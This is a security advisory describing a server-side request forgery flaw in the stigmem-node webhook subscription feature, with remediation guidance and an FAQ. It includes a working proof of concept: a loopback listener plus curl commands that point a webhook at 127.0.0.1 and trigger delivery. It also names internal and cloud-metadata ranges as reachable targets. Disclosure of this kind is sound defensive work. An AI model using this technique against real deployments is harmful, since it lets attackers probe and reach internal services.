GHSA-5p3m-vhh6-9236: Input Validation
Summary
Stigmem allows an authenticated user to create a webhook subscription with a user-controlled deliveryaddress. That value is stored and later used directly by the subscription delivery worker as the destination of a server-side HTTP POST request.
The codebase already contains an outbound SSRF guard, assertsafeurl(), which blocks loopback, private, link-local, and metadata-style destinations. However, the subscription webhook delivery path does not appear to apply this guard either when the subscription is created or immediately before delivery.
As a result, an authenticated user can configure a webhook destination such as http://127.0.0.1:9999/ssrf, trigger a matching fact-change event, and cause the Stigmem server to issue a server-side HTTP request to an internal loopback address.
Details
Relevant files:
text node/src/stigmemnode/routes/subscriptions.py node/src/stigmemnode/subscriptiondelivery.py node/src/stigmemnode/models/subscriptions.py node/src/stigmemnode/utility/netutil.py
SubscriptionCreateRequest accepts deliveryaddress as a plain string and validates only that it has a minimum length:
class SubscriptionCreateRequest(BaseModel): target: str = Field(..., minlength=1) onchange: str = Field(...) deliveryaddress: str = Field(..., minlength=1)
The create route persists this value directly:
conn.execute( """INSERT INTO subscriptions (id, subscriberidentity, target, targetkind, onchange, deliveryaddress, idempotencykey, createdat, tenantid) VALUES (?,?,?,?,?,?,?,?,?)""", ( subid, identity.entityuri, req.target, targetkind, req.onchange, req.deliveryaddress, req.idempotencykey, now, identity.tenantid, ), )
The delivery worker later sends a server-side request to the stored value:
with httpx.Client(timeout=10.0) as client: resp = client.post( event["deliveryaddress"], json=body, headers={ "Content-Type": "application/json", "X-Stigmem-Event-Id": event["id"], }, )
The codebase already has an SSRF guard in node/src/stigmemnode/utility/netutil.py:
def assertsafeurl( url: str, , allowschemes: frozenset[str] = frozenset({"https"}), ) -> None:
This guard blocks private, loopback, link-local, and metadata-style ranges, including 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, and 169.254.0.0/16.
However, I did not observe assertsafeurl() being called for subscription deliveryaddress during subscription creation or before webhook delivery.
PoC
Tested against stigmem-node 0.9.0a10.
Start an internal listener on the same host: const http = require("http");
http.createServer((req, res) => { console.log("HIT:", req.method, req.url); console.log("HEADERS:", req.headers);
let body = ""; req.on("data", chunk => body += chunk); req.on("end", () => { console.log("BODY:", body); res.writeHead(200, { "Content-Type": "application/json" }); res.end(JSON.stringify({ ok: true, internal: true })); }); }).listen(9999, "127.0.0.1", () => { console.log("Listening on http://127.0.0.1:9999"); }); Start Stigmem locally: cd node pip install -e . export STIGMEMDBPATH="$(pwd)/ssrf-test.db" export STIGMEMAUTHREQUIRED=true export STIGMEMHOST=127.0.0.1 export STIGMEMPORT=8765 export STIGMEMSUBSCRIPTIONDELIVERYSWEEPS=1 export KEY=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa stigmem auth bootstrap-key --key "$KEY" stigmem-node Confirm the service is running: curl -i http://127.0.0.1:8765/healthz
Response:
HTTP/1.1 200 OK {"status":"ok"} Create a webhook subscription whose deliveryaddress points to loopback: curl -i -X POST "http://127.0.0.1:8765/v1/subscriptions" \ -H "Authorization: Bearer $KEY" \ -H "Content-Type: application/json" \ -d '{ "target": "local", "onchange": "webhook", "deliveryaddress": "http://127.0.0.1:9999/ssrf", "idempotencykey": "ssrf-test-1" }'
Observed response:
HTTP/1.1 201 Created
The response confirmed that the loopback webhook destination was accepted and stored:
{ "onchange": "webhook", "deliveryaddress": "http://127.0.0.1:9999/ssrf", "circuitopen": false, "consecutivefailures": 0 } Trigger a matching fact-change event: curl -i -X POST "http://127.0.0.1:8765/v1/facts" \ -H "Authorization: Bearer $KEY" \ -H "Content-Type: application/json" \ -d '{ "entity": "stigmem://test/entity/ssrf", "relation": "test:relation", "value": { "type": "text", "v": "trigger webhook ssrf" }, "source": "stigmem://test/source/researcher", "scope": "local" }' The internal listener receives a server-side request from Stigmem: HIT: POST /ssrf HEADERS: { host: '127.0.0.1:9999', accept: '/', 'accept-encoding': 'gzip, deflate', connection: 'keep-alive', 'user-agent': 'python-httpx/0.28.1', 'content-type': 'application/json', 'x-stigmem-event-id': '<event-id>', 'content-length': '506' }
The body contained the Stigmem event payload, including the subscription id, entity, relation, value, source, timestamp, and scope.
This confirms that an authenticated user-controlled subscription webhook destination can cause the Stigmem backend to connect to an internal loopback service.
Impact
This creates a blind SSRF primitive from the Stigmem server.
An authenticated user can cause the Stigmem backend to make HTTP POST requests to internal destinations reachable from the server, including loopback services, private network services, and link-local metadata-style endpoints if reachable in the deployment environment.
Potential impact includes:
- Internal service probing through webhook delivery success/failure behavior - Requests to localhost-only admin services - Requests to private RFC1918 network services - Requests to cloud metadata/link-local endpoints where reachable - Persistent SSRF because the malicious webhook destination is stored and retried
Even if the HTTP response body is not returned to the attacker, delivery status, retry behavior, circuit-breaker behavior, and logs may provide an internal reachability oracle.
Suggested remediation
Apply destination validation at both subscription creation time and delivery time.
Recommended changes:
1. For onchange="webhook", validate deliveryaddress with assertsafeurl(). 2. Prefer https:// only by default. 3. If http:// is needed for local development, require an explicit operator-controlled allowlist. 4. Re-validate immediately before delivery to reduce stale validation and DNS rebinding risk. 5. Disable redirects or validate every redirect target before following. 6. Add regression tests proving that localhost, 127.0.0.1, private RFC1918 ranges, and 169.254.169.254 are rejected as webhook destinations.
Example patch pattern:
from stigmemnode.utility.netutil import assertsafeurl
if req.onchange == "webhook": try: assertsafeurl(req.deliveryaddress, allowschemes=frozenset({"https"})) except ValueError as exc: raise HTTPException(statuscode=400, detail=f"unsafe webhook URL: {exc}") from exc
And before delivery:
try: assertsafeurl(event["deliveryaddress"], allowschemes=frozenset({"https"})) except ValueError: markdeliveryfailed(...) return
Before clicking submit, attach screenshot or paste the listener proof in the PoC section. This is the key evidence:
text HIT: POST /ssrf user-agent: python-httpx/0.28.1 x-stigmem-event-id: ...
Kindly check this out: EideticCVEReport.pdf
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/stigmem-nodeto a version that resolves this vulnerability.Fixed in 0.9.0a11 - Configuration
Apply destination validation at both subscription creation time and delivery time. Ensure assert_safe_url() is called with allow_schemes=frozenset({"https"}) for req.delivery_address (before storing/accepting delivery_address) and again right before the server-side HTTP POST uses the stored delivery_address, to prevent stale validation and SSRF to internal destinations (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16). Also reject http:// destinations unless an explicit operator-controlled allowlist is configured.
Stigmem subscription webhook delivery (node/src/stigmem_node/routes/subscriptions.py, node/src/stigmem_node/subscription_delivery.py, node/src/stigmem_node/utility/net_util.py) delivery_address validation = validate every webhook delivery_address both at subscription creation time and immediately before delivery using assert_safe_url (allow only https by default; block loopback/private/link-local/metadata-style destinations) - Configuration
Change/augment SubscriptionCreateRequest handling so that it validates delivery_address using assert_safe_url(event['delivery_address'], allow_schemes=frozenset({'https'})) at creation time, rather than only enforcing Field(min_length=1). Reject unsafe webhook URL values by raising HTTPException(status_code=400, detail="unsafe webhook URL: ...").
SubscriptionCreateRequest (node/src/stigmem_node/models/subscriptions.py) allow_schemes for assert_safe_url = frozenset({"https"}) - Configuration
During webhook delivery, disable redirects or ensure every redirect target is validated with assert_safe_url() before following, to prevent redirect-based SSRF even if the initial delivery_address is allowed.
Redirect handling during webhook delivery redirect behavior = disable redirects or validate every redirect target before following - Operational
Add regression tests proving that localhost, 127.0.0.1, private RFC1918 ranges, and 169.254.169.254 are rejected as webhook destinations. (Include tests for both subscription creation and the immediate delivery step.)
Event History
Frequently Asked Questions
Who can exploit this issue?
An authenticated user who can create a webhook subscription can set its delivery address. They must also be able to trigger a matching fact-change event so that the subscription delivery worker sends the request.
What destinations can the server be induced to contact?
The affected delivery path can be directed to server-reachable internal destinations, including loopback addresses such as 127.0.0.1. The existing outbound URL guard is intended to block loopback, private, link-local, and metadata-style destinations, but it is not applied on this path.
How can I determine whether my deployment is affected?
Review the subscription creation and delivery code paths and verify that delivery_address is passed through assert_safe_url() when a subscription is created and/or immediately before a delivery request is made. The described affected behavior accepts delivery_address as a plain string with only a minimum-length validation.
What can be done before a fix is deployed?
Do not allow untrusted authenticated users to create webhook subscriptions, and review existing subscriptions for delivery addresses targeting internal, loopback, link-local, private, or metadata-style endpoints. Applying the existing assert_safe_url() guard to subscription creation and delivery would block the destination classes identified in the advisory.